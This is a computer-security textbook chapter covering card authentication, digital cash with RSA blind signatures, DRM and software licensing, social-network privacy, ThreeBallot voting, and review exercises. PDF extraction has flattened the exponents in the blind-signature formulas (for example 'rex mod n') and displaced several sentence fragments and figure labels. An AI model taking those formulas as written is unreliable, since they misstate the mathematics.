Cardholder Authentication

Several methods have been devised to provide an additional layer of se-
curity on top of the credit card authorization protocol. In the 3D Secure
system, implemented by both MasterCard and Visa, the cardholder shares
a secret with the issuer and is asked to prove possession of this secret to the
issuer when an online purchase is attempted.

In the simplest version of 3D Secure, the customer registers with the
issuer to establish a password associated with the card. During an online
purchase, the customer is asked to enter the password into a web form that
appears in a pop-up window or in an iframe embedded in the merchant’s
page. This web form is submitted to the issuer, and not to the merchant. The
password is used by the issuer as evidence that the legitimate cardholder
initiated the transaction.

While aimed at providing an additional layer of fraud prevention, 3D
Security may be confusing for the customer. Also, it opens an additional av-
enue for phishing attacks aimed at capturing the cardholder’s password. A
further problematic issue is that banks may use 3D Secure as a mechanism
to shift liability to the customer in case of fraudulent transactions.

Prepaid Credit Cards

Prepaid credit cards, also known as stored-value cards, are becoming an
increasingly popular alternative to traditional credit and debit cards. Un-
like credit cards, which allow owners to make charges on credit, or debit
cards, which are linked to a banking account, prepaid cards are initialized
with a specified balance before being issued. This balance is typically not
linked to a bank account, and the card can either be issued to an individual
or be used anonymously, depending on the card issuer. Since no credit line
or minimum balance is necessary to open an account, prepaid credit cards
are commonly used by minors. While prepaid cards may be convenient
to use as an alternative to cash, they often provide limited or no fraud
protection due to the limited potential impact of fraud—a thief can only
spend as much money as resides on a stolen card’s balance.
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3.2 Digital Cash

Digital cash is an electronic currency with the same anonymity and un-
traceability properties of physical cash. Digital cash transactions feature a
payer, a payee, and possibly a bank. The basic unit of digital cash is referred
to as an electronic coin or, simply, coin. There are several security goals that
a digital cash scheme should meet:
• Privacy. Electronic coins cannot be traced to the payer or payee,

mirroring expectations associated with physical cash.

• Integrity. Electronic coins cannot be forged or duplicated, and legiti-
mate transactions are honored.

• Accountability. Transactions cannot be denied at a later date and
disputes over transactions can be efficiently settled.

It is easy to ensure that coins can only be produced by valid sources—
a simple public-key, digital-signature scheme could be used to verify the
authenticity of coins to the merchant. It is difficult to ensure privacy,
however, because the bank could match withdrawals with subsequent
payments. In order to provide privacy, blind-signature schemes are often
used, which allow a party, in this case the bank, to digitally sign a message
without learning the contents of the message itself. In a simple digital-cash
scheme, the bank performs a blind signature on the coins withdrawn by
the customer. After receiving the coins from the customer, the merchant
verifies the digital signature and deposits the coins. During this exchange,
the first bank never gains enough information to associate that particular
withdrawal with its subsequent deposit.

Preventing double spending is a more subtle problem. Indeed, it is hard
to stop someone from copying electronic coins and spending them in more
than one place. In online systems, double spending can be prevented by al-
lowing banks to revoke coins that have been spent, rendering them invalid.
For offline systems, one solution relies on identity exposure to prevent
double spending. Each withdrawn coin contains encrypted information
about the customer’s identity, and each deposited coin contains encrypted
information about the merchant’s identity. With each deposit, a piece of
this embedded information is revealed, therefore, a single deposit does not
reveal any identifying information. However, subsequent deposits result in
a high probability of loss of anonymity.

Several cryptographically secure digital cash schemes have been devel-
oped. However, their practical adoption has been rather limited due to lack
of sponsorship by governments and financial corporations, which aim at
monitoring as much as possible money flows.
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Blind Signatures with RSA

The RSA cryptosystem can be used to implement a simple blind signature
scheme. Our description below assumes basic mathematical knowledge

Denoting the public modulus with n and the decryption exponent with
d, we recall that the RSA signature on a message M is given by

σ(M) = Md mod n.

The customer picks a random coin identifier, x, and a random number,
r, relatively prime to n. The pair (x, r) represents a secret coin. Next, using
the public modulus, n, and the public encryption exponent, e, the customer
computes the value

y = rex mod n

and submits it for signing to the bank. Note that the bank cannot retrieve
the coin identifier, x, from value y because of the “blinding factor” re.

Suppose the bank is willing to sign the value y provided by the cus-
tomer. Given signature σ(y) on y, the customer can derive the signature
σ(x) on x, as follows:

σ(x) = σ(y)r−1 mod n,

where r−1 denotes the multiplicative inverse of r modulo n.
To show that the above formula works, we recall that by the definition

of exponents e and d in the RSA cryptosystem, we have

ed mod φ(n) = 1. (1)

Also, we recall that by Euler’s theorem, we have

ab mod n = ab mod φ(n) mod n. (2)

Using Equations 1 and 2, we obtain

σ(y)r−1 mod n = (rex)dr−1 mod n = red−1xd mod n

= red−1 mod φ(n)xd mod n = xd mod n = σ(x).

To assure that it is signing a valid coin and not something else, the bank asks
the customer to generate k coins and provide cryptographic hashes for each
of them. The bank randomly selects a coin and signs it. Also, the bank asks
the customer to reveal the remaining k− 1 coins. The bank then verifies that
each such coin hashes to the value provided earlier by the customer. If the
verification succeeds, the coin signed by the bank is valid with probability

1− 1
k

.
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3.3 Online Auctions

Web sites, such as eBay.com, have made online auctions a viable business
model for both individuals selling single items and retail companies with
large inventories. Online auctions have many advantages over traditional
fixed-value sales and in-person auctions. Like other means of online sale,
online auctions expand the customer base to a global market and allow in-
stant and easy exchanges of money and goods. In particular, auctions have
the additional advantages of encouraging competition between consumers
until the highest mutually agreeable price is determined.

Even so, the anonymous nature of the Internet introduces security con-
cerns to online auctions. First, since any party can register as a merchant,
there must be a mechanism to hold merchants accountable for fraud and
theft. Online auction sites typically rely on reputation systems to provide
confidence in the legitimacy of merchants. In this case, customers have
access to a list of reviews and ratings associated with each merchant, and
can rate them with regard to issues of honest portrayal of goods, prompt
delivery, and fraudulent behavior. Upon completing a transaction, each
customer is asked to provide feedback on the merchant, in order to allow
future customers to assess the honesty, integrity, and professionalism of this
merchant. Merchants who violate rules are immediately held accountable
for these violations via customer feedback, and repeated offenses may
result in reduced sales due to low feedback ratings, suspension of account
privileges, or potential legal action. Similarly, customers who enter win-
ning bids on items are legally bound to complete the purchase of those
items, and are held accountable for this contract. Buyers as well as sellers
are rated and held accountable by the reputation system. Care should be
taken, however, to prevent buyers and sellers from holding their reputation
scores for ransom to obtain extra services or payments.

Another concern for online auctions is shill bidding, which is the prac-
tice of a merchant recruiting third parties to fraudulently bid on one of
that seller’s listed items, with the intent of inflating the current price or
perceived desirability of that item. While most auction sites have strict
policies banning shill bidding, in reality it is difficult to distinguish shill
bids from legitimate bids. Shill bidding detection is far from an exact
science, but key indicators may be the use of a newly created account to
place bids, frequent bid retractions, accounts that only bid on a limited pool
of sellers, and lack of feedback from sellers. Several major auction sites use
sophisticated statistical inference techniques to detect shill bidding, but at
the time of this writing such methods are kept secret and details of these
detection algorithms have not been made public.
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4 Digital-Rights Management

With all the media that has been digitized, there is a serious concern
about how to protect the copyright holders of that content. Digital-rights
management (DRM) addresses this concern. DRM refers to the practice
of restricting the capabilities users have with respect to digital content.
DRM schemes are frequently applied to digital media, such as DVDs and
downloaded music, as well as licensed software. (See Figure 11.) In
this section, we address a number of technological and computer-security
issues regarding DRM.

Digital Rights Management

Possible Actions and Restrictions:Digital content:
• Play once
• Play k times

Pl f t ti i d

g
• Videos
• Music

A di b k • Play for a set time period
• Play an unlimited amount
• Copy

• Audio books
• Digital books
• Software • Copy

• Burn to physical media
• Lend to a friend

• Software
• Video games

• Sell
• Transfer to a different device

Figure 11: Content and possible actions and restrictions that can be

The restrictions that can be imposed through DRM are not without
controversy, however, as some people assert that some DRM schemes go
beyond the protections provided by copyright law and impinge on the
fair use of digital content. So we also discuss some of the legal issues
surrounding DRM.
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applied to that content through digital rights management. (Mozart)
© Portrait Essentials/Alamy; (various computer hardware images) © vieloryb/
Shutterstock; (various multimedia images) © Alexander Lukin/Fotolia,
LLC–Royalty Free; (stereo) © Igor Skikov/Shutterstock; (microphone, headphones)
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4.1 Digital-Media Rights Techniques

A common applications of DRM is protecting digital-media content from
unauthorized duplication and from playing on unlicensed devices.

Content Encryption

A simple DRM approach consists of encrypting digital media and stor-
ing decryption keys into authorized players. Each media file is typically
encrypted with a different key. Thus, the compromise of the key for the
specific media object does not affect other media objects. As an additional
defense, the encryption key can also be made different for each licensed
player, as described below. (See Figure 12.)

We consider the scenario where a licensed player downloads a media
file from a media server. The player is equipped with a secret player key,
P, which is unique to the player and is shared with the server. When the
player requests a media file, M, the server generates a random symmetric
encryption key F, called file key, and uses it to encrypt the file. Next, the
server encrypts the file key with the player key and sends to the player
the encrypted file, C = EF(M) and the encrypted file key, G = EP(F). To
play the media file, the player first decrypts the file key and then uses it to
decrypt the media file. That is, the player computes F = DP(G) and then
M = DF(C).

This simple DRM scheme has the following properties:
• An encrypted media file can be played only by the player that down-

loaded it. Other players will not be able to decrypt the file key, which
is necessary to decrypt the media file. Thus, encrypted media files can
be kept in unprotected storage.

• If the file key, F, is obtained by the attacker, it cannot be used to
decrypt other media files.

• If the player key, P, is obtained by the attacker, it can decrypt only the
media files downloaded by that player.

A first requirement for the security of the system is the strength of the
cryptosystem and keys used. A second requirement is that the player
should not leak the player key (P), file key (F), or unencrypted media
file (M). This requirement is challenging satisfy in a software player, which
may be vulnerable to attacks that reverse engineer the code or monitor the
program execution to recover the player key.
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(a)

PlayerServer

Unprotected Storage

C
encrypted media file

G
encrypted file key

CG

(b)

Player

Unprotected Storage

M
media file

Pplayer key

Decrypt

CG

F file key

Decrypt

Figure 12: A simple DRM scheme for media files: (a) the media server
sends to the player the media file encrypted with the file key and the file
key encrypted with the player key; (b) the player first decrypts the file key
using the player key and then decrypts the media file with the file key.
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Key Revocation

Several methods have developed to prevent a compromised player to ac-
cess any new media content. The key tree technique views the players as
the leaves of a complete binary tree, as shown in Figure 13. Each node
of this tree is associated with a symmetric encryption key. A player stores
all the keys that are on the path from its leaf to the root of the tree. In the
example of Figure 13, keys K1, K2, K3, K4, and K5 are stored by the player
associated with the solid-filled leaf, which we refer to as the black player.
If there are n players, each player holds log n + 1 keys, where log denotes
the logarithm in base 2. The key associated with the root of the tree, which
is the only key shared by all players, is used to encrypt file keys.

If a player is compromised, its keys need to be replaced and distributed

the black player requires keys K2, K3, K4, and K5 to be replaced with new
keys, denoted K′2, K′3, K′4, and K′5. The remaining players are subdivided
into four groups, denoted G1, G2, G3, and G4, whose players share keys H1,
H2, H3, and H4, respectively. The rekeying process consists of sending the
following four encrypted messages that are broadcast to all players:

EH1(K′2, K′3, K′4, K′5), EH2(K′3, K′4, K′5), EH3(K′4, K′5), EH4(K′5).

After rekeying, the black player cannot decrypt any new media files since it
does not have the new player key, K′5. In general, after revoking a player, the
remaining players are partitioned into log n groups, where the players in
each group share one key that is not held by the revoked player. Thus, log n
news keys, replacing those stored at the ancestors of the revoked player,
can be distributed using log n broadcast messages sent to all players.

K2

K3

K4

K5

K1

H2
H3

H4

H1

Figure 13: Key tree for player revocation. The black player, which is
associated with the solid-filled leaf, stores keys K1, K2, K3, K4, and K5.
To revoke the black player, keys H1, H2, H3, and H4 are used to encrypt
replacements for keys K2, K3, K4, and K5.
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to the remaining players. In the example of Figure 13, the revocation of
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4.2 Digital-Media Rights Practice

Until recently, implementations of DRM technology have been mostly un-
successful. In this section, we review DRM methods used in practice for
CDs, DVDs, and downloadable media.

Compact Discs

In 2002, several DRM schemes for audio CDs started being adopted with
the goal of preventing the copy of CD contents onto a hard drive or other
external media. Compatibility problems often resulted in customers being
unable to play their legally purchased music on some devices, and many
schemes were eventually reverse engineered and rendered ineffective.

In 2005, Sony BMG generated major controversy by introducing a DRM
technology on audio CDs. In the default configuration of Windows XP,
inserting a CD causes the software on it to be automatically executed to
facilitate software installation by nonexpert users. While software installers
typically prompt the user to explicitly launch the installation process, the
DRM software installed itself silently. Also, the DRM software behaved

Digital Video Discs

In contrast to CDs, for which DRM technology is not standardized, nearly
all commercially produced DVDs feature a DRM scheme known as the
Content Scramble System (CSS). CSS was designed to meet several security
goals. First, only licensed DVD players contain the player key necessary to
decrypt CSS encrypted disks, which allows for strict regulation. Second,
communications between the player and host are encrypted to prevent
eavesdropping data in transmission. While the CSS DRM technology
was meant to be kept secret, CSS was reverse engineered, published, and
broken—yet another confirmation of the failure of security by obscurity.
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similarly to a rootkit, hiding its files and processes. Researchers found that
the DRM software included a security vulnerability, unknowingly turning its
users into potential targets for exploitation. In response to a major wave of
criticism from consumers, and eventually several lawsuits, Sony issued a
patch to remove the rootkit and stopped using the DRM technology. Due to
the controversy generated by this incident and weaknesses and costs asso-
ciated with implementing DRM, no major music publishers are currently
producing DRM protected CDs.

An additional limitation of CSS was due to the fact that the United States
enforced strict regulations regarding the export of cryptography at the time
of CSS’s design. These regulations limited the length of cryptographic keys
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Since the breaking of CSS, several other DRM schemes have been
adopted for various video formats. Blu-ray relies on a sound DRM scheme
known as the Advanced Access Content System (AACS), which has a
publicly available specification. AACS is based on the strong AES block
cipher. Also, it stores multiple keys into each player and incorporates a
sophisticated mechanism for revoking player keys that extends the one
given Section 4.1. Another innovative Blu-ray solution is known as BD+,
a technology that essentially embeds a small virtual machine in authorized
players and treats Blu-ray content as executable programs that are verified
and executed by the player.

Downloadable Media

Apple’s iTunes music player allows users to download individual songs
or albums through the iTunes store. Songs downloaded in this way can be
encoded using FairPlay, a DRM technology that encrypts each track so that
only the user who downloaded the file can listen to it.

Several techniques were developed to circumvent FairPlay, to which
Apple responded by adjusting FairPlay to render the attack useless. In
2009, Apple announced that it had finally reached an agreement with major
record labels to remove DRM restrictions from the iTunes music store. This
decision marked a major turning point in policy regarding the distribution
of digital music.

The public seems to be somewhat more tolerant of DRM restrictions on
digital video. For example, at the time of this writing, Apple has a DRM
mechanism that can place a time restriction on movies that downloaded
through iTunes, and Netflix uses a subscription model to restrict digital
video downloads and viewing to customers with up-to-date subscriptions.

A more recent development, brought on with the advent of handheld
document readers, like the Amazon Kindle, Apple iPad, Barnes and Noble
Nook, and Sony e-Reader, is the concept of an electronic book, or ebook.
DRM technologies have been developed for ebooks in a way similar to
those for downloadable music and video. In some cases, reading rights
can be modified even after an ebook has been purchased. For example, in
an ironic twist, ebook versions of George Orwell’s 1984 and Animal Farm
were remotely removed from the Kindles of some users in 2009 after they
had purchased ebook versions of these novels, which warns of the risks of
intrusive centralized power.
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to at most 40 bits, even if it had already been shown that this key length is
insufficient to prevent brute-force decryption attacks.
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4.3 Software Licensing Schemes

Proprietary software has employed various licensing schemes for decades.
Software licensing is important for software vendors because it provides a
means of protecting products from unauthorized use or duplication. Older
licensing schemes, which existed before easy access to the Internet, typically
require the vendor to provide a registration key or serial number to each
customer. The application would offer limited or no functionality until the
user was provided with this key. Without communication with the Internet,
this simple mechanism does little to prevent piracy, since the same key
could be used on any number of copies of the product.

Since offline licensing schemes have no access to the Internet, all of the
logic required to verify a registration key must be built into the software
itself. It would be ineffective to implement a scheme that simply stores a
list of valid keys within the compiled application—such a strategy is easy
to defeat if an attacker can successfully reverse engineer the binary code of
the application.

Windows Product Activation

Instead of storing actual keys in the data of the program, most licensing
schemes dynamically generate keys based on user input or the properties
of the machine on which the software is being installed. Microsoft employs
these techniques in their product registration process, which they refer to as
activation. Since XP, Windows installations will cease to function normally
once a specified period of time has passed unless they are activated. The
user is provided with a unique 25-character product key on purchase.
When the user agrees to perform the activation process, a 72-bit product
ID is derived from the product key using a secret encryption method. Also,
a 64-bit hardware hash is computed from the hardware components of the
machine, including the processor type and serial number, the amount of
memory, the hard drive device name and serial number, and the MAC
address. The product ID and the hardware hash are then stored in the
registry and sent to Microsoft.

When Microsoft receives a product ID and hardware hash, it checks
that the product ID has been issued by Microsoft and is not forged or
pirated. If the product ID is valid, Microsoft issues a digitally signed
release code that is stored on the machine. On booting, Windows checks
that this release code exists and —if not, the user is informed that they
must activate their product or it will stop working. On booting, Windows
also checks that the hardware hash created during activation matches the
current hardware profile of the system, to prevent a user from activating
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Windows on more than one machine. To give the user some flexibility in
modifying or repairing their machine’s hardware, this check is done using
a simple voting scheme. The product activation software tallies a vote for
each current device that matches the stored hardware profile. On Windows
XP, if seven positive votes are tallied, the confirmation process succeeds and
the user may continue using the system. If a user modifies a system in such
a way that this verification fails, he must request a new release code from
Microsoft directly.

Windows activation is effective because it is integrated into the oper-
ating system itself. As such, it is difficult to reverse engineer since the
very environment in which any dynamic (performed while the target is
running) reverse engineering process might be performed would prevent
such analysis. While it may be possible to statically reverse engineer
relevant libraries, this would be a complex task given the complexity and
size of the codebase. Still, if a similar scheme were integrated into ordinary
software, it might be more easily defeated.

A Sample Software Licensing Scheme

Consider the following software licensing scheme, which is similar to sev-
eral schemes used in practice:

1. When the user purchases a license to the software, the manufacturer
generates a random license key, stores it in a registration database,
and gives it to the user.

2. The software installer asks the user to provide the license key, which
is stored on the machine. Also, it generates a machine ID, which is
a cryptographic hash of a string that describes the main hardware
components of the machine.

3. The machine ID and the license key are sent by the installer to the
software manufacturer, which verifies that the license key is in the
registration database and has not been previously associated with
another machine.

4. If the verification succeeds, the manufacturer associates the machine
ID with the license key in the registration database. Also, it generates
a registration certificate, which is a digital signature on the pair
(license key, machine ID). The registration certificate is sent to the
installer and stored on the machine.

5. Each time the application is launched, it retrieves the license key
and recomputes the machine ID by examining the currently installed
hardware components. Next, the application verifies the license key
and machine ID using the registration certificate and the manufac-
turer’s public key. If the verification fails, the application terminates.

Distributed-Applications Security

484



The above scheme defends against several attacks, including forging
license keys or registration certificates, installing the software on more than
one machine, and reselling the software. Nevertheless, even relatively
strong schemes such as this often have one fatal flaw. If an attacker can
alter the machine code of the software in question, he may be able to change
the program’s behavior to skip the licensing process completely. Imagine
altering a single conditional statement in the assembly code of the program
(perhaps corresponding to “if registration succeeds, continue execution”)
to an unconditional jump that always results in continuing execution.

Altering a compiled program to bypass protection schemes is com-
monly known as patching. Situations such as these provide the motivation
for binary protection schemes that include techniques that make it more
difficult to deconstruct or reverse engineer an application, such as compres-
sion, encryption, polymorphism, and other methods of code obfuscation.

4.4 Legal Issues

The widespread adoption of the Internet has created a convenient avenue
for piracy of both software and media content. Both legislators and copy-
right holders have encountered difficulties in creating and enforcing laws
to protect artistic and intellectual property in the international arena of
the Internet. At the same time, groups such as the Recording Industry of
America (RIAA) have generated controversy by aggressively prosecuting
individuals participating in the illegal distribution of music via online file-
sharing. At the time of this writing, there are still a number of legal gray
areas, such as aggregation web sites that provide access to illegal content
hosted by third parties, which raise questions of responsibility.

DRM itself has been the subject of several legal decisions as well.
Most notably, the Digital Millennium Copyright Act (DMCA) was passed
in 1998, which dictates that reverse engineering and circumvention of a
technology designed to restrict access to a work protected under copyright
law is illegal if done with the intent of violating that copyright. However,
DMCA provides several exemptions from its clauses against reverse engi-
neering and circumvention for educational and research purposes. Overall,
DMCA gives copyright holders significant power to protect their content
and enforce that protection with the support of the legal system.
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Binary protection schemes are similar to virus concealment schemes. Strong
binary protection schemes make it difficult to patch the binary version of a
program, making DRM circumvention difficult.
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5 Social Networking

Social networking refers to the use of online communities designed to
facilitate contact between groups of people and individuals with general
interests or a wide variety of special interests, ranging from dating to job
searches to photography.

5.1 Social Networks as Attack Vectors

The great benefit of social networking sites, such as Flickr, Facebook,
MySpace, LinkedIn, and Twitter, is that they promote a great amount of
communication between people identified as “friends.” Unfortunately,
these increased levels of communication and trust can also act as attack
vectors. Indeed, the risks come from several different directions.

First, these web sites typically provide many channels of communica-
tion between users, including the ability to be contacted by strangers, who
might actually be engaged in information-gathering attacks. The risks of
such contacts can be serious, since compromising a user’s social networking
account may yield access to private information that could be used to
facilitate identity theft, fraud, or harassment. This risk is further increased
as studies show that as much as 15% of social networking users will recip-
rocate a friend request from a stranger. Thus, even if personal information
is restricted to friends-of-friends, there is a chance that information could
still be open to attack if a friend reciprocates a random friend request.

Another attack risk for social networking web sites comes from the fact
that they are highly interactive, dynamic web applications. For instance,
several social networking web sites allow third parties to write applications
that run inside the security domain of the site. Even if the software base for
the web site is secure, these third-party applications are potential attack
vectors. Thus, administrators for social networking web sites should have
stringent vetting processes in place for third-party applications.

In addition, because they support various kinds of interactive user com-
munication, social networking web sites are potential vectors for cross-site
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scripting attacks. Such attacks can leverage code executed in a victim’s
browser to propagate XSS worms, links to malware, or spam advertisements.
Moreover, because users place some degree of trust in their social network-
ing peers, attackers can exploit this trust to distribute malware or spam via
compromised accounts. Such a compromise may be a result of a phishing
attack, data theft due to malware on a victim’s machine, or even a breach of
the social networking service itself.
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5.2 Privacy

With the growing popularity of social networking web sites, people are
more frequently making personal information public and visible to at least
some portion of the Internet. When taken in aggregation, social networking
sites can often allow untrusted parties to build alarmingly complete profiles
on a person. For example, it is not uncommon for employers to search for
personal information on social networking sites to gather additional data
on prospective job candidates. This undesired disclosure of personal infor-
mation can be dangerous, in fact, because young children are increasingly
using social networking sites. Intimate personal details and a mechanism
for initiating contact with strangers can provide an easy means of access for
predators and fraudsters.

Because of these risks, social networking sites must take three important
steps to protect the privacy of their users. First, users must be given com-
plete control over what personal information is available to what parties.
These options must be easily accessible to users, and extremely simple to

of this writing, as an example of a system that has undergone repeated
changes to make configuration easier for users. Accordingly, users have
some degree of responsibility in carefully considering the extent to which
their personal information is disclosed.

Second, privacy settings must be assigned restrictive default values to
protect users who are unwilling or unable to configure their own privacy
preferences. For example, sites sharing personal details should default
to only making those details available to parties with which the user has
explicitly initiated contact. Such restrictions are especially important for
protecting young children who may not be aware of the dangers of disclos-
ing too much personal information to the public Internet or may be unable
to properly configure their own settings.

Finally, social networking sites have an obligation to clearly dictate
policies regarding sharing of user information. Users should be aware of
how their personal information can be accessed and used by third parties.
For example, the social networking site Quechep faced harsh criticism for
automatically sending invitations to the entire email address book of each
user, without asking permission. Other less reputable sites go so far as
to sell email addresses and personal information to spammers. Explicit
privacy policies allow users to hold social networking sites accountable for
these actions.
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configure. Figure 14 depicts Facebook’s privacy settings page at the time
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Figure 14: Facebook allows its users to customize the degree to which

Privacy Risks from Friends Lists

There is an old saying, which has a modern interpretation in the context of
social networking:

“Show me a man’s friends, and I will show you the man.”

Interestingly, various studies have shown that the mix of one’s friends on
a social networking web site can contain information that may make it
possible to predict, with some degree of accuracy, information about that
person, including religion, race, gender, age, and sexual orientation. Thus,
even just the mix of one’s friends can have privacy implications.

In addition, studies have also shown that it is possible to correlate users
between different social networking web sites just by matching up friends
lists. Therefore, one should be aware of the risks of having similar sets of
friends between a site that allows for seemingly anonymous pseudonyms
for usernames and a site where one uses a real name.
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personal information is shared with other users.  This textbook is an inde-
pendent publication and has not been authorized, sponsored, or is otherwise 
affiliated with Facebook.
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6 Voting Systems

Electronic voting can be conceptualized as a multiparty computation where
each party contributes his or her vote and the result can be totaled from each
submitted vote.

6.1 Security Goals

There are several security goals for a computational voting system
• Accuracy. The reported results should accurately reflect voter intent.

• Availability. The means to vote should be available to all voters for
the entire term of the announced times for voting.

• Secrecy. No party can prove a particular vote was associated with a
single individual after the act of voting has taken place, including the
voting party.

• Verifiability. Each voting party can confirm that his or her vote was
tallied properly, that the reported totals are accurate, and that only
authorized voters had their votes counted.

• Usability. The system should be understandable to the average voter.
Also, casting voting, tallying votes, and verifying votes should be
easy to accomplish.

Of all these requirements, secrecy is most important for preventing
voter coercion, where a voter is pressured or rewarded by another party
to vote against his or her will. Such influence is reduced by secrecy, since
the voter can no longer prove to the third party whether or not he or she
voted in a certain way.

Verifiability, on the other hand, helps to prevent voter fraud, where
fictitious voters cast votes that are counted in the reported results or actual
votes are not counted. If each voter can verify the results, it becomes harder
to carry out voter fraud.

Intuitively, verifiability and secrecy seem to be mutually exclusive. How
can a party verify that his or her vote was counted properly and still not
be able to prove to an outside party what that vote was? Modern voting
schemes attempt to address these security goals, while maintaining good
usability. We will discuss a recently proposed verifiable voting scheme
designed to satisfy these security requirements, and provide a comparison
to the currently implemented election protocol in the United States.
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6.2 ThreeBallot

ThreeBallot is a computational voting scheme, designed by Ron Rivest, that
can be implemented on paper without the use of cryptography. It derives
its security from the use of randomization.

Casting Votes

The idea behind ThreeBallot is simple to state, but perhaps a bit nonintu-
itive. A voter is given three ballots, each with a unique identifier. Each
candidate has a single voting bubble on each ballot. The voter is instructed
to cast exactly two votes for their preferred candidate and exactly one vote
for the remaining candidates. That is, to vote for a candidate, the voter fills
in the bubbles for that candidate on any two of the three ballots. Instead,
to vote against a candidate, the voter fills in one bubble for that candidate
on any one of the three ballots. An example of the ballots for a vote in an

possible valid configurations for the three ballots. In particular, one of the
ballots could be blank. For example, the voter could mark all candidates on
the first ballot, mark only the preferred candidate on the second ballot, and
leave the third ballot blank.

Given the voter’s three ballots, a trusted party must verify that the votes
are valid, that is, no candidate is marked on all three ballots or unmarked
on all three ballots and only one candidate is marked on two ballots. For
example, this trusted party could be a simple ballot checking machine that
can be inspected at any time to assure correct operation. After they pass
verification, all three ballots are submitted anonymously. Also, the voter is
given as a receipt a copy of one of the ballots, which is secretly chosen by
the user. This receipt will be used in the vote verification phase.

Vote Tallying and Verification

When all of the ballots have been collected, under the ThreeBallot system,
the ballots are posted publicly, the totals are tallied, and the winners and
their respective vote tallies are announced. Note that determining voter
intent from these totals is straightforward—if a candidate were to receive
v votes in an ordinary election, then under this system they would receive
v + n votes, where n is the number of voters. This is because v voters cast 2v
votes for this candidate (as their preferred candidate) and n− v voters cast
n− v votes against this candidate, for a total of 2v + n− v = v + n votes.
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election with three candidates is shown in Figure 15. There are several
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Ballot 1

Alice

Bob

Carol

ID: 902934

Ballot 2

Alice

Bob

Carol

ID: 341855

Ballot 3

Alice

Bob

Carol

ID: 853200

Figure 15: In this ThreeBallot election, the voter votes for Alice by mark-
ing two of the three ballots at random for Alice, and votes against Bob and
Carol by marking only one ballot at random for each of these candidates.

Analysis

The receipt allows a voter to verify that one of her ballots is included in
the tally. Because any attempt to alter a ballot has a 1/3 chance of being
detected, the probability of successfully perpetrating large-scale vote fraud
is extremely low provided enough voters verify their receipt. Namely,
assume that m ballots have been modified and that a fraction f of voters
(0 ≤ f ≤ 1) verify their receipt. The probability that the tampering goes
undetected is (

1− f
3

)m

.

For example, if m = 64 and f = 50%, that is, 64 ballots are tampered with
and half of the voters check their receipt, the probability that tampering
goes undetected is less than 0.001%. Thus ThreeBallot provides verifiability
with high probability.

Regarding secrecy, the marks on the receipt do not imply any specific
vote. Thus, obtaining receipts is of limited use for an attacker. Instead, in
order to buy or coerce a voter, an attacker can ask the voter to place the
marks in the ballots according to specific patterns selected by the attacker.
The attacker will then confirm the vote by looking for the three patterns in
the posted ballots. This attack is effective only if the number of candidates
is large enough so that the probability that two ballots have the same
marks is very small, which implies that the marks patterns on the ballots
essentially identify the voter. Thus, in order to provide secrecy, the number
of candidates must be limited depending on the number of voters. For
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example, for 10, 000 voters, there should be at most six candidates. This
privacy requirement for ThreeBallot is called the short ballot assumption.

Comparison With Traditional Voting

ThreeBallot provides guarantees that currently implemented voting
schemes do not. Traditional elections, such as the presidential election in
the United States, lack transparency. Secrecy is provided, since no receipt
is given to a voter that would allow him or her to prove which candidate
they selected. On the other hand, there is absolutely no verifiability from
the perspective of the voter. Auditing an election by recounting ballots
is cumbersome and time consuming, and thus done only in exceptional
circumstances. Also, the audit verifies only the overall tally but does
not give any guarantees about the integrity of the ballots. Indeed, in a
traditional election, the election authority is assumed to be a trusted party.
This trust is supported by knowledge that the election authority is carefully
scrutinized and audited by external parties, but still the average voter has
few assurances that his or her vote was counted properly.

The only dimension where traditional voting may be superior to Three-
Ballot is usability. The single-ballot system is straightforward and widely
understood. Also, it does not require any ballot-checking machine for
casting votes. On the other hands, should ThreeBallot become adopted, the
learning effort for voters would be rather modest and the cost of deploying
and testing ballot-checking machine would be low.

A comparison of ThreeBallot with the traditional US election scheme is
shown in Table 1.

US Election ThreeBallot
Secrecy Yes Yes

Individual Verifiability No With 33% probability
Overall Verifiability Through auditing With high probability

Usability High Medium

Table 1: Comparison of the traditional U.S. election scheme with Three-
Ballot. Individual verifiability denotes whether a voter can verify that their
individual vote was properly included. Overall verifiability is the ability to
ensure that the election authority is tallying votes fairly.
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7 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 Describe the SQL query that would select from the Presidents
table all those people whose age at their death was over 70. In
addition, describe the SQL command that would delete from the
Presidents table all those people whose age at their death was
over 70.

R-2 Explain how the two-phase commit protocol helps to achieve
database integrity and availability. Does it also help with confi-
dentiality and privacy? Why or why not?

R-3 Suppose the following sequence of SQL commands is executed
(and in the following order):
First, By Bob:
GRANT SELECT ON employees TO Alice WITH GRANT OPTION;
GRANT SELECT ON customers TO Alice WITH GRANT OPTION;
GRANT SELECT ON accounts TO Alice WITH GRANT OPTION;
Then, by Alice:
GRANT SELECT ON employees TO Charles WITH GRANT OPTION;
GRANT SELECT ON customers TO Charles WITH GRANT OPTION;
Then, by Charles:
GRANT SELECT ON employees TO Diane WITH GRANT OPTION;
GRANT SELECT ON customers TO Diane WITH GRANT OPTION;
And, then by Bob:
REVOKE SELECT ON employees FROM Alice;
What access rights do Alice, Charles, and Diane now have at this
point?

R-4 What is the policy that Alice is using to determine which keys she
fully trusts, partially trusts, and doesn’t trust in her web of trust,
illustrated in Figure 5?

R-5 What is the solution to the CAPTCHA in Figure 8?
R-6 Describe all the computer vision problems that would have to

be solved in order for a computer to be able to figure out the
CAPTCHA in Figure 8?

R-7 What are the comparative benefits of blacklisting and greylisting of
emails?
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R-8 For each of the following security properties, state whether they are
provided by S/MIME and why: (1) Confidentiality, that is, only the
recipient of the message can read it. (2) Integrity, that is, changes to
the message are detected by the recipient. (3) Sender identification,
that is, the recipient is assured of the identity of the user who sent
the message.

R-9 For each of the following security properties, state whether they are
provided by DKIM and why: (1) Confidentiality, that is, only the
recipient of the message can read it. (2) Integrity, that is, changes to
the message are detected by the recipient. (3) Sender identification,
that is, the recipient is assured of the identity of the user who sent
the message.

R-10 A spammer named Richard has bribed an ISP official $1,000 to let
him send out as many spam emails as he wants and he has no other
costs. The conversion rate for his spam is the usual 0.001% and he
gets $10 for each converted response. What is Richard’s expected
profit or loss if he sends out 1,000 emails, 100,000 emails, 1,000,000
emails, or 100,000,000 emails?

R-11 In the previous exercise, how many emails does Richard need to
send in order to be at an expected break-even point, that is, the
point where his expected profit is zero?

R-12 Describe the main differences between S/MIME and DKIM.

R-13 What should you do if you notice a charge on your credit card
statement that you are sure you didn’t make? Also, what are the
actions that happen behind the scenes after you take this action?

R-14 What mechanism discourages someone from double-spending
their digital cash? Do you think this is an effective deterrent? Why
or why not?

